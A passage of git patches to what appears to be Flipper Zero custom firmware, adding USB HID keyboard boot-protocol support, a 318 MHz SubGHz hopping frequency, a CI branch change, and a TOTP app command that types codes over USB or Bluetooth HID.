2 files changed, 136 insertions(+), 114 deletions(-) diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 0bc130243..c1684aa99 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -44,6 +44,9 @@ /applications/examples/example_thermo/ @skotopes @DrZlo13 @hedger @gsurkov +# Firmware targets +/firmware/ @skotopes @DrZlo13 @hedger @nminaylov + # Assets /assets/resources/infrared/ @skotopes @DrZlo13 @hedger @gsurkov diff --git a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c index 5cb7fd298..d27613410 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_usb_hid.c @@ -8,7 +8,6 @@ #include "usb_hid.h" #define HID_EP_IN 0x81 -#define HID_EP_OUT 0x01 #define HID_EP_SZ 0x10 #define HID_INTERVAL 2 @@ -16,17 +15,15 @@ #define HID_VID_DEFAULT 0x046D #define HID_PID_DEFAULT 0xC529 -struct HidIadDescriptor { - struct usb_iad_descriptor hid_iad; +struct HidIntfDescriptor { struct usb_interface_descriptor hid; struct usb_hid_descriptor hid_desc; struct usb_endpoint_descriptor hid_ep_in; - struct usb_endpoint_descriptor hid_ep_out; }; struct HidConfigDescriptor { struct usb_config_descriptor config; - struct HidIadDescriptor iad_0; + struct HidIntfDescriptor intf_0; } __attribute__((packed)); enum HidReportId { @@ -35,78 +32,98 @@ enum HidReportId { ReportIdConsumer = 3, }; -/* HID report: keyboard+mouse */ +/* HID report descriptor: keyboard + mouse + consumer control */ static const uint8_t hid_report_desc[] = { + // clang-format off HID_USAGE_PAGE(HID_PAGE_DESKTOP), HID_USAGE(HID_DESKTOP_KEYBOARD), HID_COLLECTION(HID_APPLICATION_COLLECTION), - HID_REPORT_ID(ReportIdKeyboard), - HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), - HID_USAGE_MINIMUM(HID_KEYBOARD_L_CTRL), - HID_USAGE_MAXIMUM(HID_KEYBOARD_R_GUI), - HID_LOGICAL_MINIMUM(0), - HID_LOGICAL_MAXIMUM(1), - HID_REPORT_SIZE(1), - HID_REPORT_COUNT(8), - HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_REPORT_COUNT(1), - HID_REPORT_SIZE(8), - HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_USAGE_PAGE(HID_PAGE_LED), - HID_REPORT_COUNT(8), - HID_REPORT_SIZE(1), - HID_USAGE_MINIMUM(1), - HID_USAGE_MAXIMUM(8), - HID_OUTPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_REPORT_COUNT(HID_KB_MAX_KEYS), - HID_REPORT_SIZE(8), - HID_LOGICAL_MINIMUM(0), - HID_LOGICAL_MAXIMUM(101), - HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), - HID_USAGE_MINIMUM(0), - HID_USAGE_MAXIMUM(101), - HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), + HID_REPORT_ID(ReportIdKeyboard), + // Keyboard report + HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), + HID_USAGE_MINIMUM(HID_KEYBOARD_L_CTRL), + HID_USAGE_MAXIMUM(HID_KEYBOARD_R_GUI), + HID_LOGICAL_MINIMUM(0), + HID_LOGICAL_MAXIMUM(1), + HID_REPORT_SIZE(1), + HID_REPORT_COUNT(8), + // Input - Modifier keys byte + HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_REPORT_COUNT(1), + HID_REPORT_SIZE(8), + // Input - Reserved byte + HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_USAGE_PAGE(HID_PAGE_LED), + HID_REPORT_COUNT(8), + HID_REPORT_SIZE(1), + HID_USAGE_MINIMUM(1), + HID_USAGE_MAXIMUM(8), + // Output - LEDs + HID_OUTPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_REPORT_COUNT(HID_KB_MAX_KEYS), + HID_REPORT_SIZE(8), + HID_LOGICAL_MINIMUM(0), + HID_LOGICAL_MAXIMUM(101), + HID_USAGE_PAGE(HID_DESKTOP_KEYPAD), + HID_USAGE_MINIMUM(0), + HID_USAGE_MAXIMUM(101), + // Input - Key codes + HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), HID_END_COLLECTION, + HID_USAGE_PAGE(HID_PAGE_DESKTOP), HID_USAGE(HID_DESKTOP_MOUSE), HID_COLLECTION(HID_APPLICATION_COLLECTION), - HID_USAGE(HID_DESKTOP_POINTER), - HID_COLLECTION(HID_PHYSICAL_COLLECTION), - HID_REPORT_ID(ReportIdMouse), - HID_USAGE_PAGE(HID_PAGE_BUTTON), - HID_USAGE_MINIMUM(1), - HID_USAGE_MAXIMUM(3), - HID_LOGICAL_MINIMUM(0), - HID_LOGICAL_MAXIMUM(1), - HID_REPORT_COUNT(3), - HID_REPORT_SIZE(1), - HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_REPORT_SIZE(1), - HID_REPORT_COUNT(5), - HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), - HID_USAGE_PAGE(HID_PAGE_DESKTOP), - HID_USAGE(HID_DESKTOP_X), - HID_USAGE(HID_DESKTOP_Y), - HID_USAGE(HID_DESKTOP_WHEEL), - HID_LOGICAL_MINIMUM(-127), - HID_LOGICAL_MAXIMUM(127), - HID_REPORT_SIZE(8), - HID_REPORT_COUNT(3), - HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_RELATIVE), - HID_END_COLLECTION, + HID_USAGE(HID_DESKTOP_POINTER), + HID_COLLECTION(HID_PHYSICAL_COLLECTION), + HID_REPORT_ID(ReportIdMouse), + // Mouse report + HID_USAGE_PAGE(HID_PAGE_BUTTON), + HID_USAGE_MINIMUM(1), + HID_USAGE_MAXIMUM(3), + HID_LOGICAL_MINIMUM(0), + HID_LOGICAL_MAXIMUM(1), + HID_REPORT_COUNT(3), + HID_REPORT_SIZE(1), + // Input - Mouse keys + HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_REPORT_SIZE(1), + HID_REPORT_COUNT(5), + // Input - Mouse keys padding + HID_INPUT(HID_IOF_CONSTANT | HID_IOF_VARIABLE | HID_IOF_ABSOLUTE), + + HID_USAGE_PAGE(HID_PAGE_DESKTOP), + HID_USAGE(HID_DESKTOP_X), + HID_USAGE(HID_DESKTOP_Y), + HID_USAGE(HID_DESKTOP_WHEEL), + HID_LOGICAL_MINIMUM(-127), + HID_LOGICAL_MAXIMUM(127), + HID_REPORT_SIZE(8), + HID_REPORT_COUNT(3), + // Input - Mouse movement data (x, y, scroll) + HID_INPUT(HID_IOF_DATA | HID_IOF_VARIABLE | HID_IOF_RELATIVE), + HID_END_COLLECTION, HID_END_COLLECTION, + HID_USAGE_PAGE(HID_PAGE_CONSUMER), HID_USAGE(HID_CONSUMER_CONTROL), HID_COLLECTION(HID_APPLICATION_COLLECTION), - HID_REPORT_ID(ReportIdConsumer), - HID_LOGICAL_MINIMUM(0), - HID_RI_LOGICAL_MAXIMUM(16, 0x3FF), - HID_USAGE_MINIMUM(0), - HID_RI_USAGE_MAXIMUM(16, 0x3FF), - HID_REPORT_COUNT(HID_CONSUMER_MAX_KEYS), - HID_REPORT_SIZE(16), - HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), + HID_REPORT_ID(ReportIdConsumer), + // Consumer report + HID_LOGICAL_MINIMUM(0), + HID_RI_LOGICAL_MAXIMUM(16, 0x3FF), + HID_USAGE_MINIMUM(0), + HID_RI_USAGE_MAXIMUM(16, 0x3FF), + HID_REPORT_COUNT(HID_CONSUMER_MAX_KEYS), + HID_REPORT_SIZE(16), + // Input - Consumer control keys + HID_INPUT(HID_IOF_DATA | HID_IOF_ARRAY | HID_IOF_ABSOLUTE), HID_END_COLLECTION, + // clang-format on }; /* Device descriptor */ @@ -114,9 +131,9 @@ static struct usb_device_descriptor hid_device_desc = { .bLength = sizeof(struct usb_device_descriptor), .bDescriptorType = USB_DTYPE_DEVICE, .bcdUSB = VERSION_BCD(2, 0, 0), - .bDeviceClass = USB_CLASS_IAD, - .bDeviceSubClass = USB_SUBCLASS_IAD, - .bDeviceProtocol = USB_PROTO_IAD, + .bDeviceClass = USB_CLASS_PER_INTERFACE, + .bDeviceSubClass = USB_SUBCLASS_NONE, + .bDeviceProtocol = USB_PROTO_NONE, .bMaxPacketSize0 = USB_EP0_SIZE, .idVendor = HID_VID_DEFAULT, .idProduct = HID_PID_DEFAULT, @@ -140,29 +157,18 @@ static const struct HidConfigDescriptor hid_cfg_desc = { .bmAttributes = USB_CFG_ATTR_RESERVED | USB_CFG_ATTR_SELFPOWERED, .bMaxPower = USB_CFG_POWER_MA(100), }, - .iad_0 = + .intf_0 = { - .hid_iad = - { - .bLength = sizeof(struct usb_iad_descriptor), - .bDescriptorType = USB_DTYPE_INTERFASEASSOC, - .bFirstInterface = 0, - .bInterfaceCount = 1, - .bFunctionClass = USB_CLASS_PER_INTERFACE, - .bFunctionSubClass = USB_SUBCLASS_NONE, - .bFunctionProtocol = USB_PROTO_NONE, - .iFunction = NO_DESCRIPTOR, - }, .hid = { .bLength = sizeof(struct usb_interface_descriptor), .bDescriptorType = USB_DTYPE_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, - .bNumEndpoints = 2, + .bNumEndpoints = 1, .bInterfaceClass = USB_CLASS_HID, - .bInterfaceSubClass = USB_HID_SUBCLASS_NONBOOT, - .bInterfaceProtocol = USB_HID_PROTO_NONBOOT, + .bInterfaceSubClass = USB_HID_SUBCLASS_BOOT, + .bInterfaceProtocol = USB_HID_PROTO_KEYBOARD, .iInterface = NO_DESCRIPTOR, }, .hid_desc = @@ -184,15 +190,6 @@ static const struct HidConfigDescriptor hid_cfg_desc = { .wMaxPacketSize = HID_EP_SZ, .bInterval = HID_INTERVAL, }, - .hid_ep_out = - { - .bLength = sizeof(struct usb_endpoint_descriptor), - .bDescriptorType = USB_DTYPE_ENDPOINT, - .bEndpointAddress = HID_EP_OUT, - .bmAttributes = USB_EPTYPE_INTERRUPT, - .wMaxPacketSize = HID_EP_SZ, - .bInterval = HID_INTERVAL, - }, }, }; @@ -206,9 +203,11 @@ struct HidReportMouse { struct HidReportKB { uint8_t report_id; - uint8_t mods; - uint8_t reserved; - uint8_t btn[HID_KB_MAX_KEYS]; + struct { + uint8_t mods; + uint8_t reserved; + uint8_t btn[HID_KB_MAX_KEYS]; + } boot; } __attribute__((packed)); struct HidReportConsumer { @@ -256,6 +255,7 @@ static bool hid_connected = false; static HidStateCallback callback; static void* cb_ctx; static uint8_t led_state; +static bool boot_protocol = false; bool furi_hal_hid_is_connected() { return hid_connected; @@ -280,31 +280,31 @@ void furi_hal_hid_set_state_callback(HidStateCallback cb, void* ctx) { bool furi_hal_hid_kb_press(uint16_t button) { for(uint8_t key_nb = 0; key_nb < HID_KB_MAX_KEYS; key_nb++) { - if(hid_report.keyboard.btn[key_nb] == 0) { - hid_report.keyboard.btn[key_nb] = button & 0xFF; + if(hid_report.keyboard.boot.btn[key_nb] == 0) { + hid_report.keyboard.boot.btn[key_nb] = button & 0xFF; break; } } - hid_report.keyboard.mods |= (button >> 8); + hid_report.keyboard.boot.mods |= (button >> 8); return hid_send_report(ReportIdKeyboard); } bool furi_hal_hid_kb_release(uint16_t button) { for(uint8_t key_nb = 0; key_nb < HID_KB_MAX_KEYS; key_nb++) { - if(hid_report.keyboard.btn[key_nb] == (button & 0xFF)) { - hid_report.keyboard.btn[key_nb] = 0; + if(hid_report.keyboard.boot.btn[key_nb] == (button & 0xFF)) { + hid_report.keyboard.boot.btn[key_nb] = 0; break; } } - hid_report.keyboard.mods &= ~(button >> 8); + hid_report.keyboard.boot.mods &= ~(button >> 8); return hid_send_report(ReportIdKeyboard); } bool furi_hal_hid_kb_release_all() { for(uint8_t key_nb = 0; key_nb < HID_KB_MAX_KEYS; key_nb++) { - hid_report.keyboard.btn[key_nb] = 0; + hid_report.keyboard.boot.btn[key_nb] = 0; } - hid_report.keyboard.mods = 0; + hid_report.keyboard.boot.mods = 0; return hid_send_report(ReportIdKeyboard); } @@ -434,27 +434,35 @@ static void hid_on_suspend(usbd_device* dev) { static bool hid_send_report(uint8_t report_id) { if((hid_semaphore == NULL) || (hid_connected == false)) return false; + if((boot_protocol == true) && (report_id != ReportIdKeyboard)) return false; furi_check(furi_semaphore_acquire(hid_semaphore, FuriWaitForever) == FuriStatusOk); - if(hid_connected == true) { + if(hid_connected == false) { + return false; + } + if(boot_protocol == true) { + usbd_ep_write( + usb_dev, HID_EP_IN, &hid_report.keyboard.boot, sizeof(hid_report.keyboard.boot)); + } else { if(report_id == ReportIdKeyboard) usbd_ep_write(usb_dev, HID_EP_IN, &hid_report.keyboard, sizeof(hid_report.keyboard)); else if(report_id == ReportIdMouse) usbd_ep_write(usb_dev, HID_EP_IN, &hid_report.mouse, sizeof(hid_report.mouse)); else if(report_id == ReportIdConsumer) usbd_ep_write(usb_dev, HID_EP_IN, &hid_report.consumer, sizeof(hid_report.consumer)); - return true; } - return false; + return true; } static void hid_txrx_ep_callback(usbd_device* dev, uint8_t event, uint8_t ep) { UNUSED(dev); if(event == usbd_evt_eptx) { furi_semaphore_release(hid_semaphore); + } else if(boot_protocol == true) { + usbd_ep_read(usb_dev, ep, &led_state, sizeof(led_state)); } else { struct HidReportLED leds; - usbd_ep_read(usb_dev, ep, &leds, 2); + usbd_ep_read(usb_dev, ep, &leds, sizeof(leds)); led_state = leds.led_state; } } @@ -464,18 +472,15 @@ static usbd_respond hid_ep_config(usbd_device* dev, uint8_t cfg) { switch(cfg) { case 0: /* deconfiguring device */ - usbd_ep_deconfig(dev, HID_EP_OUT); usbd_ep_deconfig(dev, HID_EP_IN); - usbd_reg_endpoint(dev, HID_EP_OUT, 0); usbd_reg_endpoint(dev, HID_EP_IN, 0); return usbd_ack; case 1: /* configuring device */ usbd_ep_config(dev, HID_EP_IN, USB_EPTYPE_INTERRUPT, HID_EP_SZ); - usbd_ep_config(dev, HID_EP_OUT, USB_EPTYPE_INTERRUPT, HID_EP_SZ); usbd_reg_endpoint(dev, HID_EP_IN, hid_txrx_ep_callback); - usbd_reg_endpoint(dev, HID_EP_OUT, hid_txrx_ep_callback); usbd_ep_write(dev, HID_EP_IN, 0, 0); + boot_protocol = false; /* BIOS will SET_PROTOCOL if it wants this */ return usbd_ack; default: return usbd_fail; @@ -493,8 +498,21 @@ static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_cal case USB_HID_SETIDLE: return usbd_ack; case USB_HID_GETREPORT: - dev->status.data_ptr = &hid_report; - dev->status.data_count = sizeof(hid_report); + if(boot_protocol == true) { + dev->status.data_ptr = &hid_report.keyboard.boot; + dev->status.data_count = sizeof(hid_report.keyboard.boot); + } else { + dev->status.data_ptr = &hid_report; + dev->status.data_count = sizeof(hid_report); + } + return usbd_ack; + case USB_HID_SETPROTOCOL: + if(req->wValue == 0) + boot_protocol = true; + else if(req->wValue == 1) + boot_protocol = false; + else + return usbd_fail; return usbd_ack; default: return usbd_fail; @@ -505,10 +523,11 @@ static usbd_respond hid_control(usbd_device* dev, usbd_ctlreq* req, usbd_rqc_cal req->wIndex == 0 && req->bRequest == USB_STD_GET_DESCRIPTOR) { switch(req->wValue >> 8) { case USB_DTYPE_HID: - dev->status.data_ptr = (uint8_t*)&(hid_cfg_desc.iad_0.hid_desc); - dev->status.data_count = sizeof(hid_cfg_desc.iad_0.hid_desc); + dev->status.data_ptr = (uint8_t*)&(hid_cfg_desc.intf_0.hid_desc); + dev->status.data_count = sizeof(hid_cfg_desc.intf_0.hid_desc); return usbd_ack; case USB_DTYPE_HID_REPORT: + boot_protocol = false; /* BIOS does not read this */ dev->status.data_ptr = (uint8_t*)hid_report_desc; dev->status.data_count = sizeof(hid_report_desc); return usbd_ack; From f5b818541e9bf9f059947557179f0da712a2db9e Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 17:57:46 +0300 Subject: [PATCH 219/329] Add 318 mhz back to hopping list --- documentation/SubGHzSettings.md | 1 + lib/subghz/subghz_setting.c | 1 + 2 files changed, 2 insertions(+) diff --git a/documentation/SubGHzSettings.md b/documentation/SubGHzSettings.md index 2d14307c7..9ba44ca33 100644 --- a/documentation/SubGHzSettings.md +++ b/documentation/SubGHzSettings.md @@ -91,6 +91,7 @@ Your frequencies will be added after default ones ``` 310000000, 315000000, + 318000000, 433920000, 868350000, ``` diff --git a/lib/subghz/subghz_setting.c b/lib/subghz/subghz_setting.c index 34cf16915..8692e6194 100644 --- a/lib/subghz/subghz_setting.c +++ b/lib/subghz/subghz_setting.c @@ -79,6 +79,7 @@ static const uint32_t subghz_frequency_list[] = { static const uint32_t subghz_hopper_frequency_list[] = { 310000000, 315000000, + 318000000, 433920000, 868350000, 0, From c9cc2b5e20fa1bd8610f6b799be7da9c70dce940 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 18:08:13 +0300 Subject: [PATCH 220/329] extra pack dev branch --- .drone.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.drone.yml b/.drone.yml index 9f8991c66..03f678bd5 100644 --- a/.drone.yml +++ b/.drone.yml @@ -281,7 +281,7 @@ steps: image: hfdj/fztools pull: never commands: - - git clone https://github.com/xMasterX/unleashed-extra-pack.git + - git clone --branch dev https://github.com/xMasterX/unleashed-extra-pack.git - cp -R unleashed-extra-pack/apps/* assets/resources/apps/ - rm -rf unleashed-extra-pack - export DIST_SUFFIX=${DRONE_BUILD_NUMBER}e From 8373a21af20e5ffeb981676ced0731d7dab83df5 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 19:03:53 +0300 Subject: [PATCH 221/329] Update TOTP https://github.com/akopachov/flipper-zero_authenticator --- applications/external/totp/application.fam | 6 +- applications/external/totp/cli/cli.c | 3 + .../external/totp/cli/commands/add/add.c | 2 +- .../totp/cli/commands/automation/automation.c | 133 +++++++++++++++++ .../totp/cli/commands/automation/automation.h | 11 ++ .../totp/cli/commands/delete/delete.c | 2 +- .../external/totp/cli/commands/help/help.c | 4 + .../cli/commands/notification/notification.c | 4 +- .../totp/cli/commands/timezone/timezone.c | 2 +- applications/external/totp/features_config.h | 2 + .../external/totp/images/hid_ble_10x7.png | Bin 0 -> 158 bytes .../external/totp/services/config/config.c | 59 ++++++++ .../external/totp/services/config/config.h | 8 + .../external/totp/services/config/constants.h | 1 + applications/external/totp/totp_app.c | 16 ++ .../external/totp/types/automation_method.h | 13 ++ .../external/totp/types/plugin_state.h | 17 +++ .../external/totp/ui/scene_director.c | 4 +- .../scenes/app_settings/totp_app_settings.c | 104 ++++++++++++- .../totp_scene_generate_token.c | 93 +++++++++--- .../totp/workers/bt_type_code/bt_type_code.c | 141 ++++++++++++++++++ .../totp/workers/bt_type_code/bt_type_code.h | 35 +++++ .../external/totp/workers/constants.c | 14 ++ .../external/totp/workers/constants.h | 4 + .../totp/workers/type_code/type_code.h | 27 ---- .../usb_type_code.c} | 52 +++---- .../workers/usb_type_code/usb_type_code.h | 30 ++++ 27 files changed, 696 insertions(+), 91 deletions(-) create mode 100644 applications/external/totp/cli/commands/automation/automation.c create mode 100644 applications/external/totp/cli/commands/automation/automation.h create mode 100644 applications/external/totp/features_config.h create mode 100644 applications/external/totp/images/hid_ble_10x7.png create mode 100644 applications/external/totp/types/automation_method.h create mode 100644 applications/external/totp/workers/bt_type_code/bt_type_code.c create mode 100644 applications/external/totp/workers/bt_type_code/bt_type_code.h create mode 100644 applications/external/totp/workers/constants.c create mode 100644 applications/external/totp/workers/constants.h delete mode 100644 applications/external/totp/workers/type_code/type_code.h rename applications/external/totp/workers/{type_code/type_code.c => usb_type_code/usb_type_code.c} (68%) create mode 100644 applications/external/totp/workers/usb_type_code/usb_type_code.h diff --git a/applications/external/totp/application.fam b/applications/external/totp/application.fam index 600ed6ca3..3c7ba149e 100644 --- a/applications/external/totp/application.fam +++ b/applications/external/totp/application.fam @@ -9,10 +9,14 @@ App( "dialogs", "storage", "input", - "notification" + "notification", + "bt" ], stack_size=2 * 1024, order=20, + fap_author="Alexander Kopachov (@akopachov)", + fap_description="Software-based TOTP authenticator for Flipper Zero device", + fap_weburl="https://github.com/akopachov/flipper-zero_authenticator", fap_category="Misc", fap_icon_assets="images", fap_icon="totp_10px.png", diff --git a/applications/external/totp/cli/cli.c b/applications/external/totp/cli/cli.c index 28d173766..ce2530804 100644 --- a/applications/external/totp/cli/cli.c +++ b/applications/external/totp/cli/cli.c @@ -12,6 +12,7 @@ #include "commands/pin/pin.h" #include "commands/notification/notification.h" #include "commands/reset/reset.h" +#include "commands/automation/automation.h" static void totp_cli_print_unknown_command(const FuriString* unknown_command) { TOTP_CLI_PRINTF_ERROR( @@ -57,6 +58,8 @@ static void totp_cli_handler(Cli* cli, FuriString* args, void* context) { totp_cli_command_pin_handle(plugin_state, args, cli); } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_NOTIFICATION) == 0) { totp_cli_command_notification_handle(plugin_state, args, cli); + } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_AUTOMATION) == 0) { + totp_cli_command_automation_handle(plugin_state, args, cli); } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_RESET) == 0) { totp_cli_command_reset_handle(cli, cli_context->event_queue); } else { diff --git a/applications/external/totp/cli/commands/add/add.c b/applications/external/totp/cli/commands/add/add.c index fbcd58530..91f9256b2 100644 --- a/applications/external/totp/cli/commands/add/add.c +++ b/applications/external/totp/cli/commands/add/add.c @@ -62,7 +62,7 @@ void totp_cli_command_add_docopt_usage() { } void totp_cli_command_add_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ADD_ARG_NAME " Token name\r\n"); + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ADD_ARG_NAME " Token name\r\n"); } void totp_cli_command_add_docopt_options() { diff --git a/applications/external/totp/cli/commands/automation/automation.c b/applications/external/totp/cli/commands/automation/automation.c new file mode 100644 index 000000000..1fd87f456 --- /dev/null +++ b/applications/external/totp/cli/commands/automation/automation.c @@ -0,0 +1,133 @@ +#include "automation.h" +#include +#include "../../../services/config/config.h" +#include "../../../ui/scene_director.h" +#include "../../cli_helpers.h" + +#define TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD "automation" +#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "none" +#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "usb" +#ifdef TOTP_BADBT_TYPE_ENABLED +#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "bt" +#endif + +void totp_cli_command_automation_docopt_commands() { + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_AUTOMATION " Get or set automation method\r\n"); +} + +void totp_cli_command_automation_docopt_usage() { + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_AUTOMATION " " DOCOPT_OPTIONAL( + DOCOPT_MULTIPLE(DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD))) "\r\n"); +} + +void totp_cli_command_automation_docopt_arguments() { + TOTP_CLI_PRINTF( + " " TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD + " Automation method to be set. Must be one of [" TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE + ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB +#ifdef TOTP_BADBT_TYPE_ENABLED + ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT +#endif + "]\r\n"); +} + +static void totp_cli_command_automation_print_method(AutomationMethod method, char* color) { +#ifdef TOTP_BADBT_TYPE_ENABLED + bool has_previous_method = false; +#endif + if(method & AutomationMethodBadUsb) { + TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "\""); +#ifdef TOTP_BADBT_TYPE_ENABLED + has_previous_method = true; +#endif + } + +#ifdef TOTP_BADBT_TYPE_ENABLED + if(method & AutomationMethodBadBt) { + if(has_previous_method) { + TOTP_CLI_PRINTF_COLORFUL(color, " and "); + } + + TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "\""); + } +#endif + + if(method == AutomationMethodNone) { + TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "\""); + } +} + +void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { + if(!totp_cli_ensure_authenticated(plugin_state, cli)) { + return; + } + + FuriString* temp_str = furi_string_alloc(); + bool new_method_provided = false; + AutomationMethod new_method = AutomationMethodNone; + bool args_valid = true; + while(args_read_string_and_trim(args, temp_str)) { + if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE) == 0) { + new_method_provided = true; + new_method = AutomationMethodNone; + } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB) == 0) { + new_method_provided = true; + new_method |= AutomationMethodBadUsb; + } +#ifdef TOTP_BADBT_TYPE_ENABLED + else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT) == 0) { + new_method_provided = true; + new_method |= AutomationMethodBadBt; + } +#endif + else { + args_valid = false; + break; + } + } + + do { + if(!args_valid) { + TOTP_CLI_PRINT_INVALID_ARGUMENTS(); + break; + } + + if(new_method_provided) { + Scene previous_scene = TotpSceneNone; + if(plugin_state->current_scene == TotpSceneGenerateToken || + plugin_state->current_scene == TotpSceneAppSettings) { + previous_scene = plugin_state->current_scene; + totp_scene_director_activate_scene(plugin_state, TotpSceneNone, NULL); + } + + plugin_state->automation_method = new_method; + if(totp_config_file_update_automation_method(new_method) == + TotpConfigFileUpdateSuccess) { + TOTP_CLI_PRINTF_SUCCESS("Automation method is set to "); + totp_cli_command_automation_print_method(new_method, TOTP_CLI_COLOR_SUCCESS); + cli_nl(); + } else { + TOTP_CLI_PRINT_ERROR_UPDATING_CONFIG_FILE(); + } + +#ifdef TOTP_BADBT_TYPE_ENABLED + if(!(new_method & AutomationMethodBadBt) && + plugin_state->bt_type_code_worker_context != NULL) { + totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); + plugin_state->bt_type_code_worker_context = NULL; + } +#endif + + if(previous_scene != TotpSceneNone) { + totp_scene_director_activate_scene(plugin_state, previous_scene, NULL); + } + } else { + TOTP_CLI_PRINTF_INFO("Current automation method is "); + totp_cli_command_automation_print_method( + plugin_state->automation_method, TOTP_CLI_COLOR_INFO); + cli_nl(); + } + } while(false); + + furi_string_free(temp_str); +} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/automation/automation.h b/applications/external/totp/cli/commands/automation/automation.h new file mode 100644 index 000000000..fb62e638e --- /dev/null +++ b/applications/external/totp/cli/commands/automation/automation.h @@ -0,0 +1,11 @@ +#pragma once + +#include +#include "../../../types/plugin_state.h" + +#define TOTP_CLI_COMMAND_AUTOMATION "automation" + +void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli); +void totp_cli_command_automation_docopt_commands(); +void totp_cli_command_automation_docopt_usage(); +void totp_cli_command_automation_docopt_arguments(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/delete/delete.c b/applications/external/totp/cli/commands/delete/delete.c index 8fe72e220..04cc815a4 100644 --- a/applications/external/totp/cli/commands/delete/delete.c +++ b/applications/external/totp/cli/commands/delete/delete.c @@ -24,7 +24,7 @@ void totp_cli_command_delete_docopt_usage() { } void totp_cli_command_delete_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DELETE_ARG_INDEX " Token index in the list\r\n"); + TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DELETE_ARG_INDEX " Token index in the list\r\n"); } void totp_cli_command_delete_docopt_options() { diff --git a/applications/external/totp/cli/commands/help/help.c b/applications/external/totp/cli/commands/help/help.c index 104b39e47..34b44debd 100644 --- a/applications/external/totp/cli/commands/help/help.c +++ b/applications/external/totp/cli/commands/help/help.c @@ -8,6 +8,7 @@ #include "../pin/pin.h" #include "../notification/notification.h" #include "../reset/reset.h" +#include "../automation/automation.h" void totp_cli_command_help_docopt_commands() { TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_HELP ", " TOTP_CLI_COMMAND_HELP_ALT @@ -31,6 +32,7 @@ void totp_cli_command_help_handle() { totp_cli_command_pin_docopt_usage(); totp_cli_command_notification_docopt_usage(); totp_cli_command_reset_docopt_usage(); + totp_cli_command_automation_docopt_usage(); cli_nl(); TOTP_CLI_PRINTF("Commands:\r\n"); totp_cli_command_help_docopt_commands(); @@ -42,12 +44,14 @@ void totp_cli_command_help_handle() { totp_cli_command_pin_docopt_commands(); totp_cli_command_notification_docopt_commands(); totp_cli_command_reset_docopt_commands(); + totp_cli_command_automation_docopt_commands(); cli_nl(); TOTP_CLI_PRINTF("Arguments:\r\n"); 